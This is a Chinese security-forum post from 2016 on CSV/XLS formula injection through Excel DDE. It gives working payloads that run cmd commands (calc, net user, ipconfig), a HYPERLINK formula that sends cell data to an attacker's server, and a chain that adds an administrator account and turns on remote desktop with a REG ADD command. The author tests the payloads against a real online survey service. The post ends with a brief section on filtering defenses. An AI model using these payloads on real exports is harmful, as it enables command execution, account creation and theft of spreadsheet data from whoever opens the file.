搜索
查看: 406|回复: 0

CSV/XLS Injection Vulnerability 分析利用和YY

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-9-18 16:28:57 | 显示全部楼层 |阅读模式

0x00 概述 and DDE


前段时间看见有人写文章讲csv注入的问题,了解后发现在国外两年前已经有人提了,今天有空也来看看这个漏洞。注入漏洞作为漏洞圈的常客,一般都是由于盲目信任用户可控的数据造成的,也就是平时常说的一句话:All put is evil。

再说下DDE,Windows的DDE机制基于Windows的消息机制。两个Windows应用程序通过相互之间传递DDE消息进行DDE会话(Conversation),从而完成数据的请求、应答、传输。这两个应用程序分别称为服务器(Server)和客户(Client)。服务器是数据的提供者,客户是数据的请求和接受者。


0x01 csv/xls 注入 and DDE


在Excel单元格中,已=或-开头的单元格,里面的内容会按照公式来运行,结合DDE,就可以执行一些系统命令,=DDE(“cmd”;”/C calc”;”__DdeLink_60_870516294″),如下图所示。这里测试用了office2013,注入的命令执行时弹出告警提示框是因为在CVE-2014-3524中修复过这个问题,所以推荐在低版本进行测试,效果会更好。

测试用例:

  1. =cmd|' /C calc'!A0    -cmd|' /C calc'!A0
复制代码

[/url]

[url=http://7xqesj.com1.z0.glb.clouddn.com/wp-content/uploads/2016/09/csv1.png]


0x02 漏洞实例测试-执行系统命令


这里我选择某个在线问卷网进行测试,首先发起一个问卷调查,然后扫码模拟普通用户进行填写,写入以下攻击代码,最后提交。

测试用例:

  1. =cmd|’ /C calc’!A0       =HYPERLINK(“http://192.168.1.111:8000/?test=”&D2&D3,”Error: Please click me!”)
  2. =cmd|’ /k net user’!A0        =cmd|’ /k ipconfig’!A0
复制代码

[/url]

[url=http://7xqesj.com1.z0.glb.clouddn.com/wp-content/uploads/2016/09/csv3.png]

然后在本地用python起一个简单的服务器,监听8000端口,用来测试利用=HYPERLINK跳转访问恶意网站,窃取文档中的敏感信息的漏洞。原理很简单,在你的服务器日志中看访问网站的HTTP请求即可,当然你也可以记录来请求的ip地址,后面也有机会用到。

这里也说一下=HYPERLINK几种简单的用法:

  1. =HYPERLINK(“#A1″,”跳到A1单元格”)
  2. =HYPERLINK(“C:\Users\sdl0day\Desktop\武器库”,”武器库”)
  3. =HYPERLINK(“http://www.sdl0day.com/”,”点我访问网站”)
复制代码

正常情况下,问卷调查结束后,问卷发起人会导出问卷调查结果到本地就行查看,当问卷发起人点击存在攻击代码的单元格后,即可触发命令执行;这里我导出后是xls格式(csv格式同理,本地测试结果和xls格式一致),打开后点击单元格,测试结果如下(当前账户:administrator权限),可以看到成功执行了我们在问卷填写提交的命令:

[/url]

[url=http://7xqesj.com1.z0.glb.clouddn.com/wp-content/uploads/2016/09/csv5.png]


0x03 漏洞其他利用姿势-添加管理员账户并窃取xls中的数据


今天我又yy了一下,如果目标机器安装的office版本较低或者没有及时打补丁,我们在提交的数据中依次填入添加管理员账户命令,利用cmd /c 隐藏执行命令,同时利用=HYPERLINK窃取表格里的部分数据发送到攻击者的服务器,也可以获取到目标机器的IP地址,这样如果目标机器允许3389连接,那还是有一定的概率拿下的。当然了这个概率很低,跟买彩票差不多了,但不失为一个思路,社工的时候也许会有奇效,具体利用方式如下。

来yy一下点击顺序为:问卷发起人点击有攻击代码的单元格(低版本office,xp系统)–>执行命令添加用户–>加入到管理员组—>=HYPERLINK访问你的网站获取目标ip–>然后你登录过去。。。。3389万一没开,xp这种老机器还可以   REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f  开一下(单纯的yy,咳咳,回到正题)。

[/url]

[url=http://7xqesj.com1.z0.glb.clouddn.com/wp-content/uploads/2016/09/csv8.png]

[/url]


0x04 csv/xls 全文数据窃取


evi1m0在他的文章中写了这么一段话,我本地没有2016的版本没有测试,所以给大家分享过来,有兴趣的同学可以试一试,可以的话欢迎分享测试结果给我。

“2016 之前的 excel 和其他的版本的连接字符串的函数 concatenate 不支持 cell range 的语法,也不能自定义函数,这样的话就没有办法简写,只能生成比较长的url,但 2016 之后的 excel 我们可以使用 concat 函数,支持传入一个 range,比如 concat(A1:A10) ,这样便能直接读取整个表格中的数据。”


0x05  漏洞防御


通用粗暴方案:过滤=或-号开头的单元格数据,过滤=(-)cmd或=(-)HYPERLINK或concat(等。

当然粗暴的方案肯定会有问题,比如某些业务场景下就有输入特殊格式字符串的需求,因此可以替换攻击代码中的关键字符也可以试试,比如把|转换为|等,同时在后端配合正则进行校验,主要还是看业务场景。


0x06 参考文章


1.[url=http://www.contextis.com/resources/blog/comma-separated-vulnerabilities]http://www.contextis.com/resources/blog/comma-separated-vulnerabilities

2.http://www.n0tr00t.com/2016/05/17/CSV-Injection.html

3.http://www.securityfocus.com/bid/69351


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表